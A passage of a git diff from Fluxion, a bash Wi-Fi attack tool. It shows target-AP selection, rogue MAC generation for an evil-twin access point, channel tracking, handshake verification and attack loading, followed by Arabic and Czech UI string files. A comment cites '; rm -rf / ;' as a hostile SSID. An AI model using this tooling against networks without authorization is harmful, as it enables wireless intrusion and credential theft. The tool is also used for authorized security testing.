2; fi + + local candidatesMAC=() + local candidatesClientsCount=() + local candidatesChannel=() + local candidatesSecurity=() + local candidatesSignal=() + local candidatesPower=() + local candidatesESSID=() + local candidatesColor=() + + # Gather information from all the candidates detected. + # TODO: Clean up this for loop using a cleaner algorithm. + # Maybe try using array appending & [-1] for last elements. + for candidateAPInfo in "${FluxionTargetCandidates[@]}"; do + # Strip candidate info from any extraneous spaces after commas. + candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g") + + local i=${#candidatesMAC[@]} + + candidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1) + candidatesClientsCount[i]=$( + echo "${FluxionTargetCandidatesClients[@]}" | + grep -c "${candidatesMAC[i]}" + ) + candidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4) + candidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6) + candidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9) + candidatesColor[i]=$( + [ ${candidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr + ) + + # Parse any non-ascii characters by letting bash handle them. + # Escape all single quotes in ESSID and let bash's $'...' handle it. + local sanitizedESSID=$( + echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14 + ) + candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'") + + local power=${candidatesPower[i]} + if [ $power -eq -1 ]; then + # airodump-ng's man page says -1 means unsupported value. + candidatesQuality[i]="??" + elif [ $power -le $FLUXIONNoiseFloor ]; then + candidatesQuality[i]=0 + elif [ $power -gt $FLUXIONNoiseCeiling ]; then + candidatesQuality[i]=100 + else + # Bash doesn't support floating point division, work around it... + # Q = ((P - F) / (C - F)); Q-quality, P-power, F-floor, C-Ceiling. + candidatesQuality[i]=$(( \ + (${candidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / \ + (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10) \ + )) + fi + done + + format_center_literals "WIFI LIST" + local -r headerTitle="$FormatCenterLiterals\n\n" + + format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n" + local -r headerFields=$( + printf "$FormatApplyAutosize" \ + "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID" + ) + + format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n" + io_query_format_fields "$headerTitle$headerFields" \ + "$FormatApplyAutosize" \ + candidatesColor[@] \ + candidatesESSID[@] \ + candidatesQuality[@] \ + candidatesPower[@] \ + candidatesClientsCount[@] \ + candidatesChannel[@] \ + candidatesSecurity[@] \ + candidatesMAC[@] + + echo + + FluxionTargetMAC=${IOQueryFormatFields[7]} + FluxionTargetSSID=${IOQueryFormatFields[1]} + FluxionTargetChannel=${IOQueryFormatFields[5]} + + FluxionTargetEncryption=${IOQueryFormatFields[6]} + + FluxionTargetMakerID=${FluxionTargetMAC:0:8} + FluxionTargetMaker=$( + macchanger -l | + grep ${FluxionTargetMakerID,,} 2> $FLUXIONOutputDevice | + cut -d ' ' -f 5- + ) + + FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID) + + # We'll change a single hex digit from the target AP's MAC address. + # This new MAC address will be used as the rogue AP's MAC address. + local -r rogueMACHex=$(printf %02X $((0x${FluxionTargetMAC:13:1} + 1))) + FluxionTargetRogueMAC="${FluxionTargetMAC::13}${rogueMACHex:1:1}${FluxionTargetMAC:14:4}" +} + +fluxion_target_normalize_SSID() { + # Sanitize network ESSID to make it safe for manipulation. + # Notice: Why remove these? Some smartass might decide to name their + # network "; rm -rf / ;". If the string isn't sanitized accidentally + # shit'll hit the fan and we'll have an extremly distressed user. + # Replacing ' ', '/', '.', '~', '\' with '_' + echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g' +} + +fluxion_target_show() { + format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n" + + local colorlessFormat="$FormatApplyAutosize" + local colorfullFormat=$( + echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g' + ) + + printf "$colorlessFormat" "" "ESSID" "\"${FluxionTargetSSID:-[N/A]}\" / ${FluxionTargetEncryption:-[N/A]}" "" + printf "$colorlessFormat" "" "Channel" " ${FluxionTargetChannel:-[N/A]}" "" + printf "$colorfullFormat" "" "BSSID" " ${FluxionTargetMAC:-[N/A]} ($CYel${FluxionTargetMaker:-[N/A]}$CClr)" "" + + echo +} + +fluxion_target_tracker_daemon() { + if [ ! "$1" ]; then return 1; fi # Assure we've got fluxion's PID. + + readonly fluxionPID=$1 + readonly monitorTimeout=10 # In seconds. + readonly capturePath="$FLUXIONWorkspacePath/tracker_capture" + + if [ \ + -z "$FluxionTargetMAC" -o \ + -z "$FluxionTargetSSID" -o \ + -z "$FluxionTargetChannel" ]; then + return 2 # If we're missing target information, we can't track properly. + fi + + while true; do + echo "[T-Tracker] Captor listening for $monitorTimeout seconds..." + timeout --preserve-status $monitorTimeout airodump-ng -aw "$capturePath" \ + -d "$FluxionTargetMAC" $FluxionTargetTrackerInterface &> /dev/null + local error=$? # Catch the returned status error code. + + if [ $error -ne 0 ]; then # If any error was encountered, abort! + echo -e "[T-Tracker] ${CRed}Error:$CClr Operation aborted (code: $error)!" + break + fi + + local targetInfo=$(head -n 3 "$capturePath-01.csv" | tail -n 1) + sandbox_remove_workfile "$capturePath-*" + + local targetChannel=$( + echo "$targetInfo" | awk -F, '{gsub(/ /, "", $4); print $4}' + ) + + echo "[T-Tracker] $targetInfo" + + if [ "$targetChannel" -ne "$FluxionTargetChannel" ]; then + echo "[T-Tracker] Target channel change detected!" + FluxionTargetChannel=$targetChannel + break + fi + + # NOTE: We might also want to check for SSID changes here, assuming the only + # thing that remains constant is the MAC address. The problem with that is + # that airodump-ng has some serious problems with unicode, apparently. + # Try feeding it an access point with Chinese characters and check the .csv. + done + + # Save/overwrite the new target information to the workspace for retrival. + echo "$FluxionTargetMAC" > "$FLUXIONWorkspacePath/target_info.txt" + echo "$FluxionTargetSSID" >> "$FLUXIONWorkspacePath/target_info.txt" + echo "$FluxionTargetChannel" >> "$FLUXIONWorkspacePath/target_info.txt" + + # NOTICE: Using different signals for different things is a BAD idea. + # We should use a single signal, SIGINT, to handle different situations. + kill -s SIGALRM $fluxionPID # Signal fluxion a change was detected. + + sandbox_remove_workfile "$capturePath-*" +} + +fluxion_target_tracker_stop() { + if [ ! "$FluxionTargetTrackerDaemonPID" ]; then return 1; fi + kill -s SIGABRT $FluxionTargetTrackerDaemonPID &> /dev/null + FluxionTargetTrackerDaemonPID="" +} + +fluxion_target_tracker_start() { + if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi + + fluxion_target_tracker_daemon $$ &> "$FLUXIONOutputDevice" & + FluxionTargetTrackerDaemonPID=$! +} + +fluxion_target_unset_tracker() { + if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi + + FluxionTargetTrackerInterface="" +} + +fluxion_target_set_tracker() { + if [ "$FluxionTargetTrackerInterface" ]; then + echo "Tracker interface already set, skipping." > $FLUXIONOutputDevice + return 0 + fi + + # Check if attack provides tracking interfaces, get & set one. + if ! type -t attack_tracking_interfaces &> /dev/null; then + echo "Tracker DOES NOT have interfaces available!" > $FLUXIONOutputDevice + return 1 + fi + + if [ "$FluxionTargetTrackerInterface" == "" ]; then + echo "Running get interface (tracker)." > $FLUXIONOutputDevice + local -r interfaceQuery=$FLUXIONTargetTrackerInterfaceQuery + local -r interfaceQueryTip=$FLUXIONTargetTrackerInterfaceQueryTip + local -r interfaceQueryTip2=$FLUXIONTargetTrackerInterfaceQueryTip2 + if ! fluxion_get_interface attack_tracking_interfaces \ + "$interfaceQuery\n$FLUXIONVLine $interfaceQueryTip\n$FLUXIONVLine $interfaceQueryTip2"; then + echo "Failed to get tracker interface!" > $FLUXIONOutputDevice + return 2 + fi + local selectedInterface=$FluxionInterfaceSelected + else + # Assume user passed one via the command line and move on. + # If none was given we'll take care of that case below. + local selectedInterface=$FluxionTargetTrackerInterface + echo "Tracker interface passed via command line!" > $FLUXIONOutputDevice + fi + + # If user skipped a tracker interface, move on. + if [ ! "$selectedInterface" ]; then + fluxion_target_unset_tracker + return 0 + fi + + if ! fluxion_allocate_interface $selectedInterface; then + echo "Failed to allocate tracking interface!" > $FLUXIONOutputDevice + return 3 + fi + + echo "Successfully got tracker interface." > $FLUXIONOutputDevice + FluxionTargetTrackerInterface=${FluxionInterfaces[$selectedInterface]} +} + +fluxion_target_unset() { + FluxionTargetMAC="" + FluxionTargetSSID="" + FluxionTargetChannel="" + + FluxionTargetEncryption="" + + FluxionTargetMakerID="" + FluxionTargetMaker="" + + FluxionTargetSSIDClean="" + + FluxionTargetRogueMAC="" + + return 1 # To trigger undo-chain. +} + +fluxion_target_set() { + # Check if attack is targetted & set the attack target if so. + if ! type -t attack_targetting_interfaces &> /dev/null; then + return 1 + fi + + if [ \ + "$FluxionTargetSSID" -a \ + "$FluxionTargetMAC" -a \ + "$FluxionTargetChannel" \ + ]; then + # If we've got a candidate target, ask user if we'll keep targetting it. + + fluxion_header + fluxion_target_show + echo + echo -e "$FLUXIONVLine $FLUXIONTargettingAccessPointAboveNotice" + + # TODO: This doesn't translate choices to the selected language. + while ! echo "$choice" | grep -q "^[ynYN]$" &> /dev/null; do + echo -ne "$FLUXIONVLine $FLUXIONContinueWithTargetQuery [Y/n] " + local choice + read choice + if [ ! "$choice" ]; then break; fi + done + + echo -ne "\n\n" + + if [ "${choice,,}" != "n" ]; then + return 0 + fi + elif [ \ + "$FluxionTargetSSID" -o \ + "$FluxionTargetMAC" -o \ + "$FluxionTargetChannel" \ + ]; then + # TODO: Survey environment here to autofill missing fields. + # In other words, if a user gives incomplete information, scan + # the environment based on either the ESSID or BSSID, & autofill. + echo -e "$FLUXIONVLine $FLUXIONIncompleteTargettingInfoNotice" + sleep 3 + fi + + if ! fluxion_get_interface attack_targetting_interfaces \ + "$FLUXIONTargetSearchingInterfaceQuery"; then + return 2 + fi + + if ! fluxion_allocate_interface $FluxionInterfaceSelected; then + return 3 + fi + + if ! fluxion_get_target \ + ${FluxionInterfaces[$FluxionInterfaceSelected]}; then + return 4 + fi +} + + +# =================== < Hash Subroutines > =================== # +# Parameters: [channel [encryption [maker]]] +fluxion_hash_verify() { + if [ ${#@} -lt 3 ]; then return 1; fi + + local -r hashPath=$1 + local -r hashBSSID=$2 + local -r hashESSID=$3 + local -r hashChannel=$4 + local -r hashEncryption=$5 + local -r hashMaker=$6 + + if [ ! -f "$hashPath" -o ! -s "$hashPath" ]; then + echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError" + sleep 3 + return 2 + fi + + if [ "$FLUXIONAuto" ]; then + local -r verifier="cowpatty" + else + fluxion_header + + echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery" + echo + + fluxion_target_show + + local choices=( \ + "$FLUXIONHashVerificationMethodPyritOption" \ + "$FLUXIONHashVerificationMethodAircrackOption" \ + "$FLUXIONHashVerificationMethodCowpattyOption" \ + "$FLUXIONGeneralBackOption" \ + ) + + io_query_choice "" choices[@] + + echo + + case "$IOQueryChoice" in + "$FLUXIONHashVerificationMethodPyritOption") + local -r verifier="pyrit" ;; + + "$FLUXIONHashVerificationMethodAircrackOption") + local -r verifier="aircrack-ng" ;; + + "$FLUXIONHashVerificationMethodCowpattyOption") + local -r verifier="cowpatty" ;; + + "$FLUXIONGeneralBackOption") + return -1 ;; + esac + fi + + hash_check_handshake \ + "$verifier" \ + "$hashPath" \ + "$hashESSID" \ + "$hashBSSID" + + local -r hashResult=$? + + # A value other than 0 means there's an issue with the hash. + if [ $hashResult -ne 0 ]; then + echo -e "$FLUXIONVLine $FLUXIONHashInvalidError" + else + echo -e "$FLUXIONVLine $FLUXIONHashValidNotice" + fi + + sleep 3 + + if [ $hashResult -ne 0 ]; then return 1; fi +} + +fluxion_hash_unset_path() { + if [ ! "$FluxionHashPath" ]; then return 1; fi + FluxionHashPath="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi +} + +# Parameters: [channel [encryption [maker]]] +fluxion_hash_set_path() { + if [ "$FluxionHashPath" ]; then return 0; fi + + fluxion_hash_unset_path + + local -r hashPath=$1 + + # If we've got a default path, check if a hash exists. + # If one exists, ask users if they'd like to use it. + if [ "$hashPath" -a -f "$hashPath" -a -s "$hashPath" ]; then + if [ "$FLUXIONAuto" ]; then + FluxionHashPath=$hashPath + return + else + local choices=( \ + "$FLUXIONUseFoundHashOption" \ + "$FLUXIONSpecifyHashPathOption" \ + "$FLUXIONHashSourceRescanOption" \ + "$FLUXIONGeneralBackOption" \ + ) + + fluxion_header + + echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice" + echo -e "$FLUXIONVLine $FLUXIONUseFoundHashQuery" + echo + + io_query_choice "" choices[@] + + echo + + case "$IOQueryChoice" in + "$FLUXIONUseFoundHashOption") + FluxionHashPath=$hashPath + return ;; + + "$FLUXIONHashSourceRescanOption") + fluxion_hash_set_path "$@" + return $? ;; + + "$FLUXIONGeneralBackOption") + return -1 ;; + esac + fi + fi + + while [ ! "$FluxionHashPath" ]; do + fluxion_header + + echo + echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery" + echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileReturnTip" + echo + echo -ne "$FLUXIONAbsolutePathInfo: " + read FluxionHashPath + + # Back-track when the user leaves the hash path blank. + # Notice: Path is cleared if we return, no need to unset. + if [ ! "$FluxionHashPath" ]; then return 1; fi + + # Make sure the path points to a valid generic file. + if [ ! -f "$FluxionHashPath" -o ! -s "$FluxionHashPath" ]; then + echo -e "$FLUXIONVLine $FLUXIONEmptyOrNonExistentHashError" + sleep 5 + fluxion_hash_unset_path + fi + done +} + +# Paramters: +fluxion_hash_get_path() { + # Assure we've got the bssid and the essid passed in. + if [ ${#@} -lt 2 ]; then return 1; fi + + while true; do + fluxion_hash_unset_path + if ! fluxion_hash_set_path "$@"; then + return -1 # WARNING: The recent error code is NOT contained in $? here! + fi + + if fluxion_hash_verify "$FluxionHashPath" "$2" "$3"; then + break; + fi + done + + # At this point FluxionHashPath will be set and ready. +} + + +# ================== < Attack Subroutines > ================== # +fluxion_unset_attack() { + local -r attackWasSet=${FluxionAttack:+1} + FluxionAttack="" + if [ ! "$attackWasSet" ]; then return 1; fi +} + +fluxion_set_attack() { + if [ "$FluxionAttack" ]; then return 0; fi + + fluxion_unset_attack + + fluxion_header + + echo -e "$FLUXIONVLine $FLUXIONAttackQuery" + echo + + fluxion_target_show + + local attacks + readarray -t attacks < <(ls -1 "$FLUXIONPath/attacks") + + local descriptions + readarray -t descriptions < <( + head -n 3 "$FLUXIONPath/attacks/"*"/language/$FluxionLanguage.sh" | \ + grep -E "^# description: " | sed -E 's/# \w+: //' + ) + + local identifiers=() + + local attack + for attack in "${attacks[@]}"; do + local identifier=$( + head -n 3 "$FLUXIONPath/attacks/$attack/language/$FluxionLanguage.sh" | \ + grep -E "^# identifier: " | sed -E 's/# \w+: //' + ) + if [ "$identifier" ]; then + identifiers+=("$identifier") + else + identifiers+=("$attack") + fi + done + + attacks+=("$FLUXIONGeneralBackOption") + identifiers+=("$FLUXIONGeneralBackOption") + descriptions+=("") + + io_query_format_fields "" \ + "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" \ + attacks[@] identifiers[@] descriptions[@] + + echo + + if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then + return -1 + fi + + if [ "${IOQueryFormatFields[1]}" = "$FLUXIONAttackRestartOption" ]; then + return 2 + fi + + + FluxionAttack=${IOQueryFormatFields[0]} +} + +fluxion_unprep_attack() { + if type -t unprep_attack &> /dev/null; then + unprep_attack + fi + + IOUtilsHeader="fluxion_header" + + # Remove any lingering targetting subroutines loaded. + unset attack_targetting_interfaces + unset attack_tracking_interfaces + + # Remove any lingering restoration subroutines loaded. + unset load_attack + unset save_attack + + FluxionTargetTrackerInterface="" + + return 1 # Trigger another undo since prep isn't significant. +} + +fluxion_prep_attack() { + local -r path="$FLUXIONPath/attacks/$FluxionAttack" + + if [ ! -x "$path/attack.sh" ]; then return 1; fi + if [ ! -x "$path/language/$FluxionLanguage.sh" ]; then return 2; fi + + # Load attack parameters if any exist. + if [ "$AttackCLIArguments" ]; then + eval set -- "$AttackCLIArguments" + # Remove them after loading them once. + unset AttackCLIArguments + fi + + # Load attack and its corresponding language file. + # Load english by default to overwrite globals that ARE defined. + source "$path/language/en.sh" + if [ "$FluxionLanguage" != "en" ]; then + source "$path/language/$FluxionLanguage.sh" + fi + source "$path/attack.sh" + + # Check if attack is targetted & set the attack target if so. + if type -t attack_targetting_interfaces &> /dev/null; then + if ! fluxion_target_set; then return 3; fi + fi + + # Check if attack provides tracking interfaces, get & set one. + # TODO: Uncomment the lines below after implementation. + if type -t attack_tracking_interfaces &> /dev/null; then + if ! fluxion_target_set_tracker; then return 4; fi + fi + + # If attack is capable of restoration, check for configuration. + if type -t load_attack &> /dev/null; then + # If configuration file available, check if user wants to restore. + if [ -f "$path/attack.conf" ]; then + local choices=( \ + "$FLUXIONAttackRestoreOption" \ + "$FLUXIONAttackResetOption" \ + ) + + io_query_choice "$FLUXIONAttackResumeQuery" choices[@] + + if [ "$IOQueryChoice" = "$FLUXIONAttackRestoreOption" ]; then + load_attack "$path/attack.conf" + fi + fi + fi + + if ! prep_attack; then return 5; fi + + # Save the attack for user's convenience if possible. + if type -t save_attack &> /dev/null; then + save_attack "$path/attack.conf" + fi +} + +fluxion_run_attack() { + start_attack + fluxion_target_tracker_start + + local choices=( \ + "$FLUXIONSelectAnotherAttackOption" \ + "$FLUXIONGeneralExitOption" \ + ) + + io_query_choice \ + "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@] + + echo + + # IOQueryChoice is a global, meaning, its value is volatile. + # We need to make sure to save the choice before it changes. + local choice="$IOQueryChoice" + + fluxion_target_tracker_stop + stop_attack + + if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then + fluxion_handle_exit + fi + + fluxion_unprep_attack + fluxion_unset_attack +} + +# ============================================================ # +# ================= < Argument Executables > ================= # +# ============================================================ # +eval set -- "$FLUXIONCLIArguments" # Set environment parameters. +while [ "$1" != "" -a "$1" != "--" ]; do + case "$1" in + -t|--target) echo "Not yet implemented!"; sleep 3; fluxion_shutdown;; + esac + shift # Shift new parameters +done + +# ============================================================ # +# ===================== < FLUXION Loop > ===================== # +# ============================================================ # +fluxion_main() { + fluxion_startup + + fluxion_set_resolution + + # Removed read-only due to local constant shadowing bug. + # I've reported the bug, we can add it when fixed. + local sequence=( + "set_language" + "set_attack" + "prep_attack" + "run_attack" + ) + + while true; do # Fluxion's runtime-loop. + fluxion_do_sequence fluxion sequence[@] + done + + fluxion_shutdown +} + +fluxion_main # Start Fluxion + +# FLUXSCRIPT END diff --git a/language/ar.sh b/language/ar.sh new file mode 100644 index 0000000..7883072 --- /dev/null +++ b/language/ar.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Arabic +# native: Arabic + +FLUXIONInterfaceQuery="خصص بطاقة الشبكات اللاسلكية" +FLUXIONAllocatingInterfaceNotice="جاري تخصيص بطاقة الشبكاة $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="جاري إلغاء تحديد بطاقة الشبكاة $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}تم تخصيص بطاقة الشبكة بنجاح!" +FLUXIONInterfaceAllocationFailedError="${CRed}خطأ في تخصيص بطاقة الشبكة!" +FLUXIONReidentifyingInterface="إعادة تسمية البطاقة." +FLUXIONUnblockingWINotice="إلغاء الإعترا على جميع بطاقات الشبكات اللاسلكية." +#FLUXIONFindingExtraWINotice="بحث عن بطاقات الشبكات اللاسلكية الخارجية ..." +FLUXIONRemovingExtraWINotice="إزالة بطاقات الشبكات اللاسلكية الخارجية..." +FLUXIONFindingWINotice="بحث عن بطاقات الشبكات اللاسلكية المتوفرة..." +FLUXIONSelectedBusyWIError="بطاقة الشبكة اللاسلكية المحددة قيد الاستخدام حاليا على ما يبدو!" +FLUXIONSelectedBusyWITip="يحدث هذا عادةً بسبب استخدام مدير الشبكة لبطاقة الشبكة المحددة. ننصحك ب $CGrn بايقاف مدير الشبكة$CClr أو إعداده لتجاهل بطاقة الشبكة هته. حل آخر وهو, تشغيل الأمر \"export FLUXIONWIKillProcesses=1\" قبل تشغيل فلاكسيون لكن نقترح عليك$CRed تجنب استخدام أمر الإنهاء${CClr}." +FLUXIONGatheringWIInfoNotice="جمع المعلومات حول بطاقة الشبكة..." +FLUXIONUnknownWIDriverError="ﻻ يمكن ايجاد مشغل بطاقة الشبكة!" +FLUXIONUnloadingWIDriverNotice="جاري إنتظار بطاقة الشبكة \"\$interface\" لكي تنهي التحميل..." +FLUXIONLoadingWIDriverNotice="جاري إنتظار بطاقة الشبكة \"\$interface\" لتتحمل..." +FLUXIONFindingConflictingProcessesNotice="البحث عن البرامج المتعارضة ..." +FLUXIONKillingConflictingProcessesNotice="إنهاء عن البرامج المتعارضة..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}ﻻ يمكن ايجاد مشغل بطاقة الشبكة!" +FLUXIONStartingWIMonitorNotice="جاري بدأ مراقبة بطاقة الشبكة..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="حدد واجهة لاسلكية للبحث عن الهدف." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="الـ ESSID أو BSSID أو معلومات القناة مفقوة!" +FLUXIONTargettingAccessPointAboveNotice="فلاكسيون يستهدف نقطة الوصول أعلاه." +FLUXIONContinueWithTargetQuery="واصل مع هذا الهدف؟" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="بدء تشغيل الماسح ، يرجى الانتظار ..." +FLUXIONStartingScannerTip="بعد مرور خمس ثوانٍ من ظهور نقطة الوصول المستهدفة ، أغلق الماسح (ctrl + c)." +FLUXIONPreparingScannerResultsNotice="توليف نتائج الفحص ، يرجى الانتظار ..." +FLUXIONScannerFailedNotice="قد لا تكون البطاقة اللاسلكية مدعومة (لم يتم العثور على APs)" +FLUXIONScannerDetectedNothingNotice="لم يتم اكتشاف نقاط وصول ،" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="ملف التجزئة غير موجود!" +FLUXIONHashInvalidError="${CRed}خطأ$CClr, ملف تجزئة غير صالح!" +FLUXIONHashValidNotice="${CGrn}نجح$CClr, اكتمل التحقق تجزئة!" +FLUXIONPathToHandshakeFileQuery="أدخل المسار لملف المصافحة$CClr(مثال: /path/to/file.cap)" +FLUXIONPathToHandshakeFileReturnTip="للرجوع ، اترك مسار التجزئة فارغًا." +FLUXIONAbsolutePathInfo="المسار المطلق" +FLUXIONEmptyOrNonExistentHashError="${CRed}خطأ$CClr, يشير المسار إلى ملف تجزئة غير موجود أو فارغ." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="اختر قناة للمراقبة" +FLUXIONScannerChannelOptionAll="جميع القنوات" +FLUXIONScannerChannelOptionSpecific="قناة محددة" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="قناة واحدة" +FLUXIONScannerChannelMiltipleTip="قنوات متعددة" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="ماسح فلاكسيون" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="حدد طريقة لاسترداد المصافحة" +FLUXIONHashSourcePathOption="مسار لالتقاط الملف" +FLUXIONHashSourceRescanOption="إعادة فحص دليل المصافحة" +FLUXIONFoundHashNotice="تم العثور على تجزئة لـ AP الهدف." +FLUXIONUseFoundHashQuery="هل تريد استخدام هذا الملف؟" +FLUXIONUseFoundHashOption="استخدم hash التي وجدت" +FLUXIONSpecifyHashPathOption="حدد المسار ل hash" +FLUXIONHashVerificationMethodQuery="اختر طريقة للتحقق من hash" +FLUXIONHashVerificationMethodPyritOption="التحقق من pyrit" +FLUXIONHashVerificationMethodAircrackOption="التحقق من aircrack-ng (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="التحقق من cowpatty (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="حدد هجومًا لاسلكيًا لنقطة الوصول" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr جاري الهجوم..." +FLUXIONSelectAnotherAttackOption="اختر هجومًا آخر" +FLUXIONAttackResumeQuery="تم بالفعل إعداد هذا الهجوم." +FLUXIONAttackRestoreOption="استعادة الهجوم" +FLUXIONAttackResetOption="إعادة الهجوم" +FLUXIONAttackRestartOption="إعادة تشغيل" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}تخطي" +FLUXIONGeneralBackOption="${CRed}عودة" +FLUXIONGeneralExitOption="${CRed}خروج" +FLUXIONGeneralRepeatOption="${CRed}إعادة" +FLUXIONGeneralNotFoundError="ﻻ يوجد" +FLUXIONGeneralXTermFailureError="${CRed}فشل بدء جلسة العمل الخاصة بـ xterm." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="التنظيف و الإغلاق" +FLUXIONKillingProcessNotice="إنهاء ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="استعادة ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="تعطيل وضع المراقبة لبطاقة الشبكة" +FLUXIONDisablingExtraInterfacesNotice="تعطيل بطاقات الشبكة الاضافية" +FLUXIONDisablingPacketForwardingNotice="تعطيل ${CGry}الحزمات" +FLUXIONDisablingCleaningIPTablesNotice="تنظيف ${CGry}iptables" +FLUXIONRestoringTputNotice="استعادة ${CGry}tput" +FLUXIONDeletingFilesNotice="حذف ${CGry}ملفات" +FLUXIONRestartingNetworkManagerNotice="جاري اعادة تشغيل ${CGry}مدير الشبكة" +FLUXIONCleanupSuccessNotice="تم التنظيف بنجاح!" +FLUXIONThanksSupportersNotice="شكرا لاستخدامك فلاكسيون" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/cs.sh b/language/cs.sh new file mode 100755 index 0000000..1420414 --- /dev/null +++ b/language/cs.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Czech +# native: čeština + +FLUXIONInterfaceQuery="Vyberte rozhraní" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." +#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." +FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." +FLUXIONFindingWINotice="Looking for available wireless interfaces..." +FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Gathering interface information..." +FLUXIONUnknownWIDriverError="Unable to determine interface driver!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" 